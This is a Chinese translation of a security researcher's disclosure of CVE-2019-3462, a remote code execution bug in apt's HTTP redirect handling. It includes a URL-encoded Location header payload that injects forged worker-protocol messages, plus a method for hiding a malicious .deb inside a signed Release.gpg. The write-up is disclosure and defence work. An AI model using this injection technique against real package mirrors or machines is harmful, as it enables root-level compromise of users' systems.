原文:Remote Code Execution in apt/apt-get
作者:Max Justicz
譯者:Nanako@知道創宇404實驗室
TL,DR:
我在apt中發現了一個漏洞,它允許網絡中間人(或惡意包鏡像)以root身份在安裝軟件包的機器上執行任意代碼。該漏洞已在apt最新版本中被修復。如果您擔心在更新過程中被利用,可以通過禁用http重定向來保護自己。為此,請運行:
$ sudo apt update -o Acquire::http::AllowRedirect=false
$ sudo apt upgrade -o Acquire::http::AllowRedirect=false
如果當前鏡像包在默認情況下重定向(意味著出現該標志時無法更新apt),則需要選擇其它鏡像或直接下載程序包。該鏈接可以找到有關Debian升級的具體說明。Ubuntu的聲明可以在這里找到。
作為證明,我錄制了一段攻擊如下Dockerfile的視頻:
FROM debian:latest
RUN apt-get update && apt-get install -y cowsay
背景
在獲取數據時,apt將各種不同的數據傳輸協議的工作進程分離。然后,父進程通過stdin/stdout與這些工作進程進行通信, 利用一個類似http的協議告訴他們要下載的內容并將它放到文件系統上。例如,在一臺機器上運行 apt install cowsay并用http請求下載相應包的時候,apt將提供/usr/lib/apt/methods/http目錄,并返回100 Capabilities消息:
100 Capabilities
Version: 1.2
Pipeline: true
Send-Config: true
然后,父進程發送其配置并請求資源,如下所示:
601 Configuration
Config-Item: APT::Architecture=amd64
Config-Item: APT::Build-Essential::=build-essential
Config-Item: APT::Install-Recommends=1
(...many more lines omitted...)
600 URI Acquire
URI: http://deb.debian.org/debian/pool/main/c/cowsay/cowsay_3.03+dfsg2-3_all.deb
Filename: /var/cache/apt/archives/partial/cowsay_3.03+dfsg2-3_all.deb
Expected-SHA256: 858d5116a60ba2acef9f30e08c057ab18b1bd6df5ca61c233b6b7492fbf6b831
Expected-MD5Sum: 27967ddb76b2c394a0714480b7072ab3
Expected-Checksum-FileSize: 20070
然后工作進程會像下方這樣響應:
102 Status
URI: http://deb.debian.org/debian/pool/main/c/cowsay/cowsay_3.03+dfsg2-3_all.deb
Message: Connecting to prod.debian.map.fastly.net
102 Status
URI: http://deb.debian.org/debian/pool/main/c/cowsay/cowsay_3.03+dfsg2-3_all.deb
Message: Connecting to prod.debian.map.fastly.net (2a04:4e42:8::204)
102 Status
URI: http://deb.debian.org/debian/pool/main/c/cowsay/cowsay_3.03+dfsg2-3_all.deb
Message: Waiting for headers
200 URI Start
URI: http://deb.debian.org/debian/pool/main/c/cowsay/cowsay_3.03+dfsg2-3_all.deb
Size: 20070
Last-Modified: Tue, 17 Jan 2017 18:05:21 +0000
201 URI Done
URI: http://deb.debian.org/debian/pool/main/c/cowsay/cowsay_3.03+dfsg2-3_all.deb
Filename: /var/cache/apt/archives/partial/cowsay_3.03+dfsg2-3_all.deb
Size: 20070
Last-Modified: Tue, 17 Jan 2017 18:05:21 +0000
MD5-Hash: 27967ddb76b2c394a0714480b7072ab3
MD5Sum-Hash: 27967ddb76b2c394a0714480b7072ab3
SHA256-Hash: 858d5116a60ba2acef9f30e08c057ab18b1bd6df5ca61c233b6b7492fbf6b831
Checksum-FileSize-Hash: 20070
當http服務器根據重定向進行響應時,工作進程返回103 Redirect而非201 URI Done。父進程根據此響應來確定接下來應該請求的資源:
103 Redirect
URI: http://deb.debian.org/debian/pool/main/c/cowsay/cowsay_3.03+dfsg2-3_all.deb
New-URI: http://example.com/new-uri
漏洞
不幸的是,進行http下載的進程會對HTTP Location頭進行url解碼,并直接附加到103 Redirect響應中:
// From methods/basehttp.cc
NextURI = DeQuoteString(Req.Location);
...
Redirect(NextURI);
// From apt-pkg/acquire-method.cc
void pkgAcqMethod::Redirect(const string &NewURI)
{
std::cout << "103 Redirect\nURI: " << Queue->Uri << "\n"
<< "New-URI: " << NewURI << "\n"
<< "\n" << std::flush;
Dequeue();
}
(注意:不同版本的apt之間存在重要差異。上述代碼來自Debian最近使用的1.4.y版本。一些Ubuntu版本使用的是1.6.y,它不僅僅是直接附加URI。然而在后續的http提取程序發出的600 URI Acquire請求中仍然存在注入漏洞。其他版本我并沒有做檢查。)
因此,如果http服務器發送Location: /new-uri%0AFoo%3A%20Bar,http提取進程將回復以下內容:
103 Redirect
URI: http://deb.debian.org/debian/pool/main/c/cowsay/cowsay_3.03+dfsg2-3_all.deb
New-URI: http://deb.debian.org/new-uri
Foo: Bar
或者,如果http服務器發送:
Location: /payload%0A%0A201%20URI%20Done%0AURI%3A%20http%3A//deb.debian.org/payload%0AFilename%3A%20/var/lib/apt/lists/deb.debian.org_debian_dists_stretch_Release.gpg%0ASize%3A%2020070%0ALast-Modified%3A%20Tue%2C%2007%20Mar%202017%2000%3A29%3A01%20%2B0000%0AMD5-Hash%3A%2027967ddb76b2c394a0714480b7072ab3%0AMD5Sum-Hash%3A%2027967ddb76b2c394a0714480b7072ab3%0ASHA256-Hash%3A%20858d5116a60ba2acef9f30e08c057ab18b1bd6df5ca61c233b6b7492fbf6b831%0AChecksum-FileSize-Hash%3A%2020070%0A
那么http提取進程會回復:
103 Redirect
URI: http://deb.debian.org/debian/pool/main/c/cowsay/cowsay_3.03+dfsg2-3_all.deb
New-URI: http://deb.debian.org/payload
201 URI Done
URI: http://deb.debian.org/payload
Filename: /var/lib/apt/lists/deb.debian.org_debian_dists_stretch_Release.gpg
Size: 20070
Last-Modified: Tue, 07 Mar 2017 00:29:01 +0000
MD5-Hash: 27967ddb76b2c394a0714480b7072ab3
MD5Sum-Hash: 27967ddb76b2c394a0714480b7072ab3
SHA256-Hash: 858d5116a60ba2acef9f30e08c057ab18b1bd6df5ca61c233b6b7492fbf6b831
Checksum-FileSize-Hash: 20070
注入惡意包
因為我在我的驗證程序中注入201 URI Done響應,所以我不得不處理沒有下載任何包的問題。我需要一種方法讓惡意的.deb進入系統,以便在Filename參數中使用。
為了實現這點,我利用了apt update時release.gpg文件可以被修改,并安裝在可預測的位置這個特點。具體來說,Release.gpg包含的PGP簽名,如下所示:
-----BEGIN PGP SIGNATURE-----
...
-----END PGP SIGNATURE-----
只要注入的內容不接觸到簽名內容,apt的簽名驗證程序就不會報錯,所以我攔截了release.gpg請求,并用我的惡意deb進行了預處理:
<oops.deb contents>
-----BEGIN PGP SIGNATURE-----
...
-----END PGP SIGNATURE-----
然后,我在201 URI Done響應中設置Filename參數:
/var/lib/apt/lists/deb.debian.org_debian_dists_stretch_Release.gpg
http / https爭議
默認情況下,Debian和Ubuntu都使用開箱即用的http存儲庫(Debian允許您在安裝過程中選擇所需鏡像,但實際上不支持https存儲庫 - 您必須先安裝apt-transport-https)。
如果程序包清單已簽名,為什么還要使用https?畢竟,由于包的大小有限,隱私獲益是最小的。而且使用https會使緩存受限。
也有對此很感興趣的人。某些網站專門解釋為什么在apt上下文中使用https沒有意義。
這些都是很好的觀點,但是我這篇文章中的bug是存在的。無獨有偶——這是JannHorn在2016年發現的另一個具有相同影響的bug。沒錯,即使使用的是https,惡意鏡像依然可以利用這樣的漏洞。但我覺得,與其攻擊使用http或TLS證書的deb.debian.org,還不如直接攻擊目標服務器上的應用服務。
(假設apt-transport-https本身沒有災難性的破壞。我并沒有審計,但它看起來像是圍繞libcurl的一個相對較薄的包裝。)
支持http是個好事。我只是認為把https作為更安全的默認存儲庫是值得的,如果用戶選擇這樣做的話,允許他們降低安全級別。如果服務器包默認使用的是https,我就無法利用本文頂部的dockerfile。
總結
感謝apt維護者及時修補此漏洞,并感謝Debian安全團隊協助披露。這個漏洞已經注冊編號:CVE-2019-3462。
本文由 Seebug Paper 發布,如需轉載請注明來源。本文地址:http://www.bjnorthway.com/799/
暫無評論